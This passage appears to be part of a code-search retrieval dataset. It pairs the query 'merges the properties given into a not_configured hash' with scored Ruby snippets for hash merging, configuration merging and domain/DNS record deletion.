remove_domain(domain_name)\n begin \n domain = @container.find(domain_name)\n \n domain.find(:all).each do |n, s|\n s.shutdown()\n s.remove(service_name)\n end\n \n domain.remove(domain_name)\n rescue => ex\n ContainerLogger.error ex, 1 \n ContainerLogger.error \"Error removing domain #{domain_name}!\", 1 \n raise Exception.new(\"Error removing domain #{domain_name}!\")\n end\n\n true\n end", "title": "" }, { "docid": "55ca69cabfc726b02fca05b71a66b32b", "score": "0.51371557", "text": "def delDNS\n log_transaction(\"Delete the DNS records for #{name}/#{ip}\", @dns){|dns|\n dns.delete(name) &&\n dns.delete(to_arpa)\n }\n end", "title": "" }, { "docid": "733cb03d5392c0f8225856b0b60989d4", "score": "0.5129341", "text": "def destroy\n @response_domain_code = ResponseDomainCode.find(params[:id])\n @response_domain_code.destroy\n\n respond_to do |format|\n format.html { redirect_to(response_domain_codes_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a922db46f590aa222347564f4f92513d", "score": "0.5127752", "text": "def destroy\n @fake_dns_server.destroy\n respond_to do |format|\n format.html { redirect_to fake_dns_servers_url, notice: 'Fake dns server was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a549d3d27de7059a6a23da6740197fa5", "score": "0.5111826", "text": "def destroy!\n super do\n raise 'can not destroy without a service account' if invalid_account?\n raise 'can not destroy a not persisted domain' unless persisted?\n \n Domain.delete_account_domains(self)\n end\n end", "title": "" }, { "docid": "d17771594df390c6e2ed13a59aec7739", "score": "0.50936395", "text": "def remove_record(domain)\n delete \"/records/#{domain}\"\n end", "title": "" } ]
5421697539c7611e99ed0d33571f0082
merges the properties given into a not_configured hash
[ { "docid": "7bb86b96814ca9f6630591d4892d1467", "score": "0.7188053", "text": "def nested_merge_not_configured_hash(*properties, &block)\n nested = properties.last.is_a?(Hash) ? properties.pop : {}\n nested = ingest_configuration_block!(nested, &block)\n props = zip_to_hash(block, *properties)\n\n @not_configured.merge! nested, &method(:configuration_deep_merge)\n @not_configured.merge! props, &method(:configuration_deep_merge)\n end", "title": "" } ]
[ { "docid": "14856dbe4f2d16e007391e62953c13d0", "score": "0.72529256", "text": "def merge_properties!(props = {})\n @hash[:properties].deep_merge!(props)\n end", "title": "" }, { "docid": "cf13f551ce64096eefa56ed7b0d78804", "score": "0.65635", "text": "def deep_merge_hashes!(target, overwrite); end", "title": "" }, { "docid": "8c4c4840f2ad18e9756f41954b10344d", "score": "0.65089494", "text": "def merge!(other_hash); end", "title": "" }, { "docid": "6cee3f1985e457151b6cd41ea744fc60", "score": "0.64533424", "text": "def prop_merge!(hash, other_hash)\n other_hash.each do |key, val|\n if val.kind_of?(Hash) && hash[key]\n prop_merge!(hash[key], val)\n else\n hash[key] = val\n end\n end\n \n hash\n end", "title": "" }, { "docid": "1382920e6983eafdf6a303c6c251fc97", "score": "0.62820166", "text": "def merge(other_hash); end", "title": "" }, { "docid": "e2d378bf6e34d716295ae39e7f987eaf", "score": "0.6271223", "text": "def prop_merge(hash, other_hash)\n other_hash.each do |key, val|\n if val.is_a?(Hash) && hash[key]\n prop_merge(hash[key], val)\n else\n hash[key] = val\n end\n end\n hash\n end", "title": "" }, { "docid": "49c19973ea5eb0a9b83b9455c66b9101", "score": "0.62253135", "text": "def merge(properties)\n properties.each do |name, value|\n self[name] = value\n end\n end", "title": "" }, { "docid": "27b3b8957a9a3ae80f13c8d44386a26c", "score": "0.6193487", "text": "def with_defaults!(other_hash); end", "title": "" }, { "docid": "66fc1ba75d6f3212492d7c559b17d8fd", "score": "0.61828494", "text": "def merge_props( opts )\n opts.each do |key,val|\n self[ key ] = val\n end\n end", "title": "" }, { "docid": "423cbb2190dd397e5ba06d16286190f7", "score": "0.6168103", "text": "def deep_merge_hashes(master_hash, other_hash); end", "title": "" }, { "docid": "ab82a19df9a667f412330003c2154b7c", "score": "0.61584485", "text": "def properties(keyvals = {})\n self.merge!(keyvals)\n end", "title": "" }, { "docid": "3d1a4667243346cde028f901515ca022", "score": "0.61286044", "text": "def merge!(hash); end", "title": "" }, { "docid": "3ab0a79437e9ef45f5fa834c9543e22c", "score": "0.61046004", "text": "def shallow_merge(other_hash); end", "title": "" }, { "docid": "fc70ff71c156dd01257d2d7d76c92c64", "score": "0.61045676", "text": "def apply_hash!(props)\n props.each do |k, v|\n send(\"#{k}=\", v) if respond_to? \"#{k}=\"\n end\n end", "title": "" }, { "docid": "d44b455b6460f4d5dd6033df3dc6b9db", "score": "0.60988194", "text": "def deep_merge(source, hash); end", "title": "" }, { "docid": "d44b455b6460f4d5dd6033df3dc6b9db", "score": "0.60988194", "text": "def deep_merge(source, hash); end", "title": "" }, { "docid": "07c6f059b970d513b35a33edaed379c5", "score": "0.6072162", "text": "def with_defaults(other_hash); end", "title": "" }, { "docid": "a835fec22b0aedc67d91dc0e2b540e92", "score": "0.60538137", "text": "def merge(hash); end", "title": "" }, { "docid": "a835fec22b0aedc67d91dc0e2b540e92", "score": "0.60538137", "text": "def merge(hash); end", "title": "" }, { "docid": "a835fec22b0aedc67d91dc0e2b540e92", "score": "0.60538137", "text": "def merge(hash); end", "title": "" }, { "docid": "7ae5ebcb2f497293e3c246660cfbff9f", "score": "0.604509", "text": "def merge!(other)\n other.config.each do |key, value|\n case key\n when 'clusters', 'contexts', 'users'\n value.each do |other_value|\n own_value = config[key].find { |c| c['name'] == other_value['name'] }\n config[key].delete(own_value) if own_value\n config[key] << other_value\n end\n when 'current-context', 'preferences'\n config[key] = value\n else\n config[key] ||= value\n end\n end\n\n self\n end", "title": "" }, { "docid": "a86cb835ca6cd7b8e02d315862b4c457", "score": "0.6022975", "text": "def deep_merge!(other_hash = {})\n replace(deep_merge(other_hash))\n end", "title": "" }, { "docid": "071ea2ae3ae8d98b35fc481101b2f531", "score": "0.60004824", "text": "def deep_merge!(other_hash, &block); end", "title": "" }, { "docid": "11eb5eab40bd83b00116b1c42f1a2977", "score": "0.59938186", "text": "def merge_hash!(hash)\n merge!(self.class.from_hash(hash))\n end", "title": "" }, { "docid": "08ab24e27eedd9603781514446173100", "score": "0.5991909", "text": "def deep_merge!(target, hash); end", "title": "" }, { "docid": "08ab24e27eedd9603781514446173100", "score": "0.5991909", "text": "def deep_merge!(target, hash); end", "title": "" }, { "docid": "eff2871b58bd3131d0de761400a69b22", "score": "0.59835696", "text": "def deep_merge!(*other_hashes, &blk); end", "title": "" }, { "docid": "b078f44f467436a36ffb691ce563cd59", "score": "0.59772664", "text": "def deep_merge!(other_hash)\r\n replace(deep_merge(other_hash))\r\n end", "title": "" }, { "docid": "5e742f8b29c51cb3a122ae80856a5fd1", "score": "0.59767765", "text": "def deep_merge!(other_hash)\n replace(deep_merge(other_hash))\n end", "title": "" }, { "docid": "e02e831455a53d0fc01dc0af0a7fa378", "score": "0.5945888", "text": "def independent_config\n initial_config.deep_merge(persistent_config_hash)\n end", "title": "" }, { "docid": "bf4d5333ef1a0b1365998dce85ef072a", "score": "0.5931128", "text": "def combined_hash\n y = if @process_global\n normalize(global_yaml).rmerge(normalize(yaml))\n else\n normalize(yaml)\n end\n @process_local ? y.rmerge(normalize(local_yaml)) : y\n end", "title": "" }, { "docid": "070ef8d5dddba6f5ac9831f260469714", "score": "0.5923949", "text": "def deep_merge!(other_hash)\n replace(deep_merge(other_hash))\n end", "title": "" }, { "docid": "0458f54db9ea99db33f2d1b165bde569", "score": "0.592216", "text": "def merge!(*other_hashes, &blk); end", "title": "" }, { "docid": "666047e22971e4516e6be896947a9c3f", "score": "0.5907808", "text": "def global_defaults(bosh_properties)\n props = Hash.new do |props, property|\n props[property] = Hash.new do |prop_hash, default|\n prop_hash[default] = []\n end\n end\n\n bosh_properties.each do |release, jobs|\n jobs.each do |job, property_hash|\n property_hash.each do |property, default|\n props[property][default] << [release, job]\n end\n end\n end\n\n props\nend", "title": "" }, { "docid": "dbafa806502a7a4613b8ab544ffb5b6e", "score": "0.5890445", "text": "def _deep_merge(hash, other_hash); end", "title": "" }, { "docid": "f5b5d6e751f01aa6ab509bc604732e7b", "score": "0.58843535", "text": "def merge_configurations cfg,cfg2\n cfg['prefix']||=cfg2['prefix']\n raise \"Attempting to merge configurations with differing prefixes: '#{cfg['prefix']}' vs. '#{cfg2['prefix']}' \" if cfg['prefix']!=cfg2['prefix']\n cfg['include']||=[]\n cfg['depend']||=[]\n cfg['interface']||=[]\n cfg['include']+=cfg2['include'] if cfg2['include']\n cfg['depend']+=cfg2['depend'] if cfg2['depend']\n cfg['interface']+=cfg2['interface'] if cfg2['interface']\n return cfg\nend", "title": "" }, { "docid": "68703fa208b16fa25ef96ceafa0ec642", "score": "0.58691156", "text": "def merge(base_hash, derived_hash, **opts); end", "title": "" }, { "docid": "5742341933b1dcec45621afdc737475b", "score": "0.58598185", "text": "def release_defaults(bosh_properties)\n props = Hash.new do |props, release|\n props[release] = Hash.new do |release_hash, property|\n release_hash[property] = Hash.new do |property_hash, default|\n property_hash[default] = []\n end\n end\n end\n\n bosh_properties.each do |release, jobs|\n jobs.each do |job, property_hash|\n property_hash.each do |property, default|\n props[release][property][default] << job\n end\n end\n end\n\n props\nend", "title": "" }, { "docid": "7abcd74b028e9899b41436cddd628cfc", "score": "0.58489466", "text": "def deep_merge!(other_hash)\n replace(deep_merge(other_hash))\n end", "title": "" }, { "docid": "3510460842b8e7c11a5592ac47934064", "score": "0.58455056", "text": "def reverse_merge(other_hash); end", "title": "" }, { "docid": "3510460842b8e7c11a5592ac47934064", "score": "0.58455056", "text": "def reverse_merge(other_hash); end", "title": "" }, { "docid": "939514a6e5c29725d10752c17da016bc", "score": "0.58433485", "text": "def reverse_merge!(other_hash); end", "title": "" }, { "docid": "8e60ad83b54d295f97d5da0955206886", "score": "0.58342993", "text": "def merge!(other)\n @hash.merge!(other.hash)\n end", "title": "" }, { "docid": "22595102e05dc7ab1239baf2867c5dae", "score": "0.58246577", "text": "def merge_config_data(config_data)\n config_data.inject({}) do |acc, config|\n acc.merge(config[:data]) do |key, val1, val2|\n case key\n # Plugin config is shallow merged for each plugin\n when 'plugins'\n val1.merge(val2) { |_, v1, v2| v1.merge(v2) }\n # Transports are deep merged\n when *TRANSPORTS.keys.map(&:to_s)\n Bolt::Util.deep_merge(val1, val2)\n # Hash values are shallow mergeed\n when 'puppetdb', 'plugin_hooks', 'apply_settings', 'log'\n val1.merge(val2)\n # All other values are overwritten\n else\n val2\n end\n end\n end\n end", "title": "" }, { "docid": "f3430be662d5e3bba47b08ab61c5525c", "score": "0.5801637", "text": "def clean_properties(properties={})\n newhash = {}\n properties.each_pair do |key, value|\n newhash[key.to_s] = clean_value(value)\n end\n newhash\n end", "title": "" }, { "docid": "4c5ba8747fef6c15e4a9d5eddefc508d", "score": "0.57985157", "text": "def merge hash = {}\n original.merge(hash)\n end", "title": "" }, { "docid": "a3a409fb1ac3c0e1e8aefe90e1f2c0d8", "score": "0.5794797", "text": "def defaults(hash)\n { temperature: 10, altitude: 12000, pressure: 500 }.merge(hash)\nend", "title": "" }, { "docid": "f9d4828879444940f5f4088656155ac4", "score": "0.5782354", "text": "def merge!(data)\n data = data.with_indifferent_access\n data.delete(:SecurityKey)\n populate_properties(data)\n self\n end", "title": "" }, { "docid": "5e347d59e8c0550f7211ad8275a7d2ed", "score": "0.57816696", "text": "def merge(base_hash, derived_hash); end", "title": "" }, { "docid": "f174f75ae5fdbcf6caf088951e39217a", "score": "0.57800764", "text": "def merge_comps( original, override )\n override.each do |k,v|\n if original.has_key? k\n original[k] = v\n else\n original << [k,v]\n end\n end\n end", "title": "" }, { "docid": "ee4e0217adb14883da41140cbfbc1f19", "score": "0.57731", "text": "def merge!(other_hash)\n @parameters.merge!(other_hash.to_h)\n self\n end", "title": "" }, { "docid": "d927fe369b42ca240aba23a9f7d02d85", "score": "0.5760832", "text": "def merge_topo_properties(nodes, topo_hash)\n\n if nodes && nodes.length > 0\n merged_nodes = nodes ? nodes.clone : []\n merged_nodes.each do |nodeprops|\n\n normal_defaults = topo_hash['normal'] ? topo_hash['normal'].clone : {}\n nodeprops['normal'] ||= {}\n nodeprops['normal'] = prop_merge!(normal_defaults, nodeprops['normal'])\n\n nodeprops['chef_environment'] ||= topo_hash['chef_environment'] if topo_hash['chef_environment']\n\n # merge in the topology tags\n nodeprops['tags'] ||= []\n nodeprops['tags'] |= topo_hash['tags'] if topo_hash['tags'] && topo_hash['tags'].length > 0\n \n end\n end\n\n merged_nodes\n\n end", "title": "" }, { "docid": "7ae30e8ffd12802e376d3c47877890d4", "score": "0.5759439", "text": "def deep_merge(*other_hashes, &blk); end", "title": "" }, { "docid": "382fe825ebdf5f26c4297ff36c8ab855", "score": "0.5759431", "text": "def merge!(another)\n configs = self.configs\n another.each_pair do |key, value|\n if config = configs[key]\n config.set(receiver, value)\n else\n store[key] = value\n end\n end\n self\n end", "title": "" }, { "docid": "991453515c2fd62912108a361b4f1af5", "score": "0.57430434", "text": "def merged_config_for_generator\n return {}\n end", "title": "" }, { "docid": "cc7b32d1269c9634735b6ca1e8048099", "score": "0.57421446", "text": "def two_layer_merge(downstream_hash, upstream_hash)\n up = upstream_hash.dup\n dn = downstream_hash.dup\n up.each_pair do |setting_name, value|\n if value.kind_of?(Hash) && downstream_hash.has_key?(setting_name)\n dn[setting_name] = value.merge(downstream_hash[setting_name])\n up.delete(setting_name)\n end\n end\n return up.merge(dn)\n end", "title": "" }, { "docid": "ce89e1e4b16efede04e1fe6da7388101", "score": "0.5731285", "text": "def all_property_hash\n hash = {}\n items = @all_properties\n for prop in items\n hash[prop] = {}\n end\n return hash\n end", "title": "" }, { "docid": "f7d759fd0b0663d94b3a82f6bf0bed11", "score": "0.56968886", "text": "def extract_properties(hash)\n new_properties = hash.select do |key, _|\n PROPERTIES.include?(key)\n end\n new_properties.merge!(\"x-ms-lease-id\" => lease_id) if lease_id\n properties.replace(new_properties)\n end", "title": "" }, { "docid": "9fba2ec9272002976b41bd535063ea30", "score": "0.5694154", "text": "def configuration_deep_merge(_key, oldval, newval)\n if oldval.is_a?(Hash) && newval.is_a?(Hash)\n oldval.merge(newval, &method(:configuration_deep_merge))\n else\n Array(oldval) + Array(newval)\n end\n end", "title": "" }, { "docid": "d4f6d784984fcc77ff5f2e4de3b8d4ea", "score": "0.5689798", "text": "def mixpanel_hash\n source_attributes.merge(\n 'distinct_id' => mixpanel_guid,\n 'state' => 'anonymous_user',\n ).merge(experiments_hash)\n end", "title": "" }, { "docid": "3647fbffde4f71e9865080202cc01f75", "score": "0.56858915", "text": "def merge(*other_hashes, &blk); end", "title": "" }, { "docid": "91b2f04d405c2ab87deea0910214fed5", "score": "0.56852424", "text": "def hash_for_merging(hash)\n new_hash = { id: hash['message_id'].to_i,\n date: Time.at(hash['date'].to_i),\n from: User.new(hash['from'], @bot),\n chat: Chat.new(hash['chat'], @bot) }\n\n type = TYPES.find { |t| hash[t.to_s] }\n new_hash[type] = hash[type.to_s] # TODO: fail if type not found\n\n new_hash\n end", "title": "" }, { "docid": "733663143c92502652c8df15288fc9a3", "score": "0.56830835", "text": "def merge_config!(config = {})\n self.config.url = config[:url] if config.key?(:url)\n self.config.opts = config[:opts] if config.key?(:opts)\n self.config.db = config[:db] if config.key?(:db)\n end", "title": "" }, { "docid": "0c27fbf1b135daa71acbb531e61b29e1", "score": "0.56794816", "text": "def merge(source,target)\n source.stringify_keys!\n target.stringify_keys!\n source.each do |key,value|\n if not value.is_a? Hash and not target[key] then\n puts \" #{key} not present in target. Copying\"\n target[key] = source[key]\n elsif value.is_a? Hash and not target[key] then\n target[key] = value\n elsif value.is_a? Hash and target[key] then\n target[key] = merge(value,target[key])\n end\n end\n return target\nend", "title": "" }, { "docid": "8881db39c6b5383911c8c1173f5e9b4f", "score": "0.5667712", "text": "def merge!(hash)\n hash.each do |key, value|\n if config_contexts.key?(key)\n # Grab the config context and let internal_get cache it if so desired\n config_contexts[key].restore(value)\n else\n configuration[key] = value\n end\n end\n self\n end", "title": "" }, { "docid": "a202d18e71a7e4e70bfc099e7edb7aaf", "score": "0.5653254", "text": "def custom_merge(hash1, hash2)\n fin=hash1.dup\n hash2.each do |ky,val|\n fin[ky]=val\n end\n fin\nend", "title": "" }, { "docid": "7b1d2242b1a6bd8d3cad29be97783a80", "score": "0.5647779", "text": "def set_props(props)\n @props.merge!(props)\n end", "title": "" }, { "docid": "71683cd300e021202842eec3a82b68e9", "score": "0.5644461", "text": "def overwritten_params\n result = {}\n %i[email mobile_phone].each do |param|\n result[param] = nil if person_params.key?(param) && !person_params[param].present?\n end\n result\n end", "title": "" }, { "docid": "9b405c5f435d47342627923fca7b156f", "score": "0.56420696", "text": "def properties(hash)\n @properties_from_attributes.merge!(ensure_all_hash_keys_are_symbols(hash))\n end", "title": "" }, { "docid": "a6d427023dd7aa290b3da31abe948dd8", "score": "0.5641849", "text": "def filter_properties(properties, whitelist)\n @transferred_properties = {}\n @properties = {}\n #\n properties.each do |key, value|\n if whitelist.include? key.to_s\n @properties[key] = value\n else\n @transferred_properties[key] = value\n end\n end\n end", "title": "" }, { "docid": "67d0685e3a4a31063d39f163202498a9", "score": "0.5638703", "text": "def reverse_merge!(other_hash)\n super(self.class.new(other_hash))\n end", "title": "" }, { "docid": "eec4c7d5fea7cbdfbba29fe2d9b414bf", "score": "0.56382763", "text": "def deep_merge!(hash_or_config)\n return self if hash_or_config.nil?\n other_config = convert hash_or_config\n other_config.each do |key, other_value|\n value = has_key?(key) && self[key]\n self[key] = if ConfigNode === value && ConfigNode === other_value\n value.deep_merge!(other_value)\n elsif ConfigNode === value && other_value.nil?\n self[key]\n else\n other_value\n end\n end\n self\n end", "title": "" }, { "docid": "1d6808dba7e4d5eb2bde87cf43df008a", "score": "0.560935", "text": "def custom_merge(hash1, hash2)\n output = hash1.dup\n hash2.each { |key, value| output[key] = value }\n output\nend", "title": "" }, { "docid": "86f916f567eaf0828124e54336f1ed5c", "score": "0.56023455", "text": "def custom_merge(hash1, hash2)\n new_hash = hash1.dup\n hash2.each { |key, value| new_hash[key] = value }\n new_hash\nend", "title": "" }, { "docid": "f001b19b8798fbdfab6c61cbb4c07562", "score": "0.5598611", "text": "def customise(hash)\n # was: { :attributes => { :id => #<value> } }\n # now: { :attributes => { :vebra_id => #<value> } }\n if hash[:attributes] && hash[:attributes][:id]\n hash[:vebra_ref] = hash[:attributes].delete(:id)\n end\n\n # was: { :price_attributes => { :value => #<value>, ... } }\n # now: { :price_attributes => { ... }, :price => #<value> }\n if hash[:price_attributes]\n hash[:price] = hash[:price_attributes].delete(:value)\n end\n\n # was: { :type => [#<value>, #<value>] } or: { :type => #<value> }\n # now: { :property_type => #<value> }\n if hash[:type]\n hash[:property_type] = hash.delete(:type)\n hash[:property_type] = hash[:property_type].first if hash[:property_type].respond_to?(:each)\n end\n\n # was: { :reference => { :agents => #<value> } }\n # now: { :agent_reference => #<value> }\n if hash[:reference] && hash[:reference].size == 1 && hash[:reference].keys.first == :agents\n reference = hash.delete(:reference)\n hash[:agent_reference] = reference.delete(:agents)\n end\n\n # was: { :area => [ #<area - imperial>, #<area - metric> ] }\n # now: { :area => { :imperial => #<imperial>, :metric => #<metric> } }\n if area = hash[:area]\n hash[:area] = {}\n area.each do |a|\n hash[:area][a.delete(:measure).to_sym] = a\n end\n end\n\n # was: { :bullets => [ { :value => #<value> }, { :value => #<value> } ] }\n # now: { :bullets => [ #<value>, #<value> ] }\n if hash[:bullets]\n hash[:bullets].map! { |b| b[:value] }\n end\n\n # was: { :paragraphs => [ #<paragraph - type a, #<paragraph - type b> ] }\n # now: { :type_a => [ #<paragraph> ], :type_b => [ #<paragraph> ] }\n if paragraphs = hash.delete(:paragraphs)\n # extract each paragraph type into separate collections\n hash[:rooms] = paragraphs.select { |p| p[:type] == 0; }\n hash[:energy_reports] = paragraphs.select { |p| p[:type] == 1; }\n hash[:disclaimers] = paragraphs.select { |p| p[:type] == 2; }\n\n %w( rooms energy_reports disclaimers ).map(&:to_sym).each do |paragraph_type|\n hash[paragraph_type].each { |p| p[:vebra_ref] = p.delete(:id); p.delete(:type) }\n end\n\n hash[:rooms].each do |room|\n room[:room_type] = room[:name].gsub(/\\s?[\\d+]$/, '').downcase.gsub(/\\s/, '_')\n end\n end\n\n # was: { :files => [ #<file - type a>, #<file - type b> ] }\n # now: { :files => { :type_a => [ #<file> ], :type_b => [ #<file> ] } }\n if files = hash.delete(:files)\n # extract each file type into separate collections\n hash[:files] = {\n :images => files.select { |f| f[:type] == 0 },\n :maps => files.select { |f| f[:type] == 1 },\n :floorplans => files.select { |f| f[:type] == 2 },\n :tours => files.select { |f| f[:type] == 3 },\n :ehouses => files.select { |f| f[:type] == 4 },\n :ipixes => files.select { |f| f[:type] == 5 },\n :pdfs => files.select { |f| f[:type] == 7 },\n :urls => files.select { |f| f[:type] == 8 },\n :energy_certificates => files.select { |f| f[:type] == 9 },\n :info_packs => files.select { |f| f[:type] == 10 }\n }\n\n %w( images maps floorplans tours ehouses ipixes pdfs urls energy_certificates info_packs ).map(&:to_sym).each do |file_type|\n hash[:files][file_type].each { |f| f[:vebra_ref] = f.delete(:id); f.delete(:type) }\n end\n end\n\n # was: { :hip => { :energy_performance => #<energy performance> } }\n # now: { :energy_performance => #<energy performance> }\n if hip = hash.delete(:hip)\n hash[:energy_performance] = hip[:energy_performance]\n end\n\n # was: { :street => #<street>, :town => #<town>, ... }\n # now: { :address => { :street => #<street>, :town => #<town>, ... } }\n if !hash[:address] && hash[:street] && hash[:town] && hash[:county] && hash[:postcode]\n hash[:address] = {\n :street => hash.delete(:street),\n :town => hash.delete(:town),\n :county => hash.delete(:county),\n :postcode => hash.delete(:postcode)\n }\n end\n\n # was: { :attributes => { :database => 1 }, :web_status => ['For Sale', 'To Let'] }\n # now: { :attributes => { :database => 1 }, :web_status => 'For Sale', :grouping => :sales }\n if type_index(hash)\n hash[:group] = case type_index(hash)\n when 0 then :sales\n when 1 then :lettings\n end\n\n if hash[:status]\n hash[:status] = hash[:status][type_index(hash)]\n end\n end\n\n # was: { :garden/parking => nil } or: { :garden/parking => 0 }\n # now: { :garden/parking => false }\n [ :parking, :garden ].each do |key|\n if hash.keys.include?(key)\n hash[key] = !hash[key].nil? && hash[key].to_i != 0\n end\n end\n\n hash\n end", "title": "" }, { "docid": "fbb4de169159b56cf146e1b25c3acc07", "score": "0.55972105", "text": "def merge_hashes(hash1, hash2)\n merged_hash = hash1.clone\n return merged_hash if hash2.nil? || hash2.empty?\n\n if merged_hash.has_key?('.type_qualifier') && hash2.has_key?('.type_qualifier')\n hash2['.type_qualifier'] = \"#{merged_hash['.type_qualifier']} #{hash2['.type_qualifier']}\"\n end\n return merged_hash.merge!(hash2)\nend", "title": "" }, { "docid": "fbb4de169159b56cf146e1b25c3acc07", "score": "0.5595006", "text": "def merge_hashes(hash1, hash2)\n merged_hash = hash1.clone\n return merged_hash if hash2.nil? || hash2.empty?\n\n if merged_hash.has_key?('.type_qualifier') && hash2.has_key?('.type_qualifier')\n hash2['.type_qualifier'] = \"#{merged_hash['.type_qualifier']} #{hash2['.type_qualifier']}\"\n end\n return merged_hash.merge!(hash2)\nend", "title": "" }, { "docid": "5a1ed72f5386e6409c52960719a97ca5", "score": "0.5580916", "text": "def merge!( other )\n\t\t\tcase other\n\t\t\twhen Hash\n\t\t\t\t@hash = self.to_h.merge( other,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\twhen ConfigStruct\n\t\t\t\t@hash = self.to_h.merge( other.to_h,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\twhen Arrow::Config\n\t\t\t\t@hash = self.to_h.merge( other.struct.to_h,\n\t\t\t\t\t&HashMergeFunction )\n\n\t\t\telse\n\t\t\t\traise TypeError,\n\t\t\t\t\t\"Don't know how to merge with a %p\" % other.class\n\t\t\tend\n\n\t\t\t# :TODO: Actually check to see if anything has changed?\n\t\t\t@dirty = true\n\n\t\t\treturn self\n\t\tend", "title": "" }, { "docid": "62de2ff8b61c05258b427210f5f9729b", "score": "0.5577854", "text": "def forms_merge(hash1, hash2) \r\n target = hash1.dup\r\n hash2.keys.each do |key|\r\n if hash2[key].is_a? Hash and hash1[key].is_a? Hash\r\n target[key] = forms_merge(hash1[key], hash2[key])\r\n next\r\n end\r\n target[key] = hash2[key] == '/' ? nil : hash2[key]\r\n end\r\n# delete keys with nil value \r\n target.delete_if{ |k,v| v.nil? }\r\nend", "title": "" }, { "docid": "ccb35126515214158a75bb63e65bcc69", "score": "0.55740213", "text": "def merge_attributes(data)\n data.fetch(\"default\", {})\n .merge(data.fetch(\"normal\", {}))\n .merge(data.fetch(\"override\", {}))\n .merge(data.fetch(\"automatic\", {}))\n end", "title": "" }, { "docid": "124ce3e7b81ae134e95183324744b865", "score": "0.5570831", "text": "def mergeWithHashContext(iContext)\n iContext.each do |iKey, iValue|\n case iKey\n when :Processes\n # Define new processes\n @Processes.merge!(iValue)\n when :Aliases\n # Define new aliases\n @Aliases.merge!(iValue)\n else\n @Properties[iKey] = iValue\n end\n end\n end", "title": "" }, { "docid": "96fc5458180ec5e931aa10d3efa76493", "score": "0.55606604", "text": "def build_properties\n properties.each do |key,val|\n prop = listing_properties.find_or_initialize_by(key:key)\n prop.value = val\n\n end\n end", "title": "" }, { "docid": "f3495f8d5c4985973baff05599857c36", "score": "0.5557754", "text": "def init_property_hash\n # make super()-safe so we can make liberal use of mixins\n end", "title": "" }, { "docid": "86ff97cc222b987bff78c1152a1c8ee1", "score": "0.5555289", "text": "def assign_properties\n self.properties ||= {}\n listing_properties.each do |prop|\n self.properties[prop.key] ||= prop.value\n end\n end", "title": "" }, { "docid": "5e5eb8d1510cb403568cf3ebfa611846", "score": "0.5552913", "text": "def collate(*others)\n hash = {}\n\n each_key { |key| hash[key] = [] }\n\n others.each do |other|\n other.each_key { |key| hash[key] = [] }\n end\n\n each { |key, val| hash[key] << val }\n\n others.each do |other|\n other.each { |key, val| hash[key] << val }\n end\n\n hash.each_value(&:flatten!)\n hash\n end", "title": "" }, { "docid": "1875276781421059d3ba127089057397", "score": "0.55490917", "text": "def custom_merge(hash1, hash2)\n new_hash = hash1.dup\n hash2.each do |key, value|\n new_hash[key] = value\n end\nend", "title": "" }, { "docid": "cb1e11cdb697230d76889ad576a91cf3", "score": "0.55443907", "text": "def internal_deep_merge!(source_hash, specialized_hash)\n\t\t\tspecialized_hash.each_pair do |rkey, rval|\n\t\t\t\tif source_hash.has_key?(rkey) then\n\t\t\t\t\tif rval.is_a?(Hash) and source_hash[rkey].is_a?(Hash) then\n\t\t\t\t\t\tinternal_deep_merge!(source_hash[rkey], rval)\n\t\t\t\t\telsif rval == source_hash[rkey] then\n\t\t\t\t\telse\n\t\t\t\t\t\tsource_hash[rkey] = rval\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tsource_hash[rkey] = rval\n\t\t\t\tend\n\t\t\tend\n\t\t\tsource_hash\n\t\tend", "title": "" }, { "docid": "e37f3e086ccaa4550b577f396edc39fb", "score": "0.5538769", "text": "def smash_configs\n # private overrides public general config\n a = remove_environments(@general_config_pub)\n b = remove_environments(@general_config_priv)\n general = a.merge(b)\n\n # private overrides public collection config\n c = remove_environments(@collection_config_pub)\n d = remove_environments(@collection_config_priv)\n collection = c.merge(d)\n\n # collection overrides general config\n return general.merge(collection)\n end", "title": "" }, { "docid": "98f5efc8e37a345e105106f9d037f1c0", "score": "0.5535388", "text": "def combine(other)\n other.each { |key, value| setting(key).combine!(value) } if other.is_a?(Hash)\n end", "title": "" }, { "docid": "82b8de88ec72f94468e24b6a7a8a6c0b", "score": "0.55296993", "text": "def merge_options!(hash)\n hash.merge!(@options)\n end", "title": "" }, { "docid": "43dfb5dc5eed8c03f321a070f470da2d", "score": "0.5528859", "text": "def properties\n if @property_hash.empty?\n @property_hash[:ensure] = :failed if @property_hash.empty?\n end\n @property_hash.dup\n end", "title": "" }, { "docid": "fd256f493457c077345382a5104af521", "score": "0.55249524", "text": "def reverse_merge!(other_hash)\n @parameters.merge!(other_hash.to_h) { |key, left, right| left }\n self\n end", "title": "" }, { "docid": "593de84fa9950baa68153e4fa9b6e17c", "score": "0.55245227", "text": "def apply_properties!(properties)\n # Non-commutitivity etc. eventually.\n end", "title": "" }, { "docid": "83df9c37333ba494fc05769a7317dab4", "score": "0.55222976", "text": "def deep_merge(other_hash)\n dup.deep_merge!(other_hash)\n end", "title": "" }, { "docid": "23a9e8a0940b351de4e1726a3f29ecaa", "score": "0.55194765", "text": "def merged_settings\n merged = self.class.current\n settings_hash.each do |k, v|\n if v.present?\n merged['production'][k] = v\n else\n merged['production'].delete(k)\n end\n end\n merged\n end", "title": "" }, { "docid": "2f6a23664a48e45b6560c451c3943f7a", "score": "0.5515134", "text": "def merge_properties( properties_list )\n props = ::Yacl::Properties.new\n properties_list.reverse.each do |p|\n props.merge!( p )\n end\n return props\n end", "title": "" }, { "docid": "cc0e0741276c8378327e046f8b63c69a", "score": "0.55149853", "text": "def properties_from_hash(hash)\n hash.inject({}) do |newhash, (k, v)|\n k = k.gsub(\"-\", \"_\")\n k = \"_#{k.to_s}\" if k =~ /^\\d/\n self.class.property :\"#{k}\"\n newhash[k] = v\n newhash\n end\n end", "title": "" }, { "docid": "571404ce8a3d734836e507f0bc1e9bc7", "score": "0.55130523", "text": "def hash_merger(query_vals)#another hash that is nested)\n merged_hash = Hash.new\n # for each key_val_set\n # check if key exists in merged_hash\n # if not - add in the value\n # if yes - key into merged_hash with key, and check next key\n\n query_vals.each do |keys, val|\n current = merged_hash\n keys.each_with_index do |key,i|\n if i == keys.length - 1\n current[key] = val\n else\n current[key] ||= {}\n current = current[key]\n end\n end\n end\n merged_hash\n end", "title": "" }, { "docid": 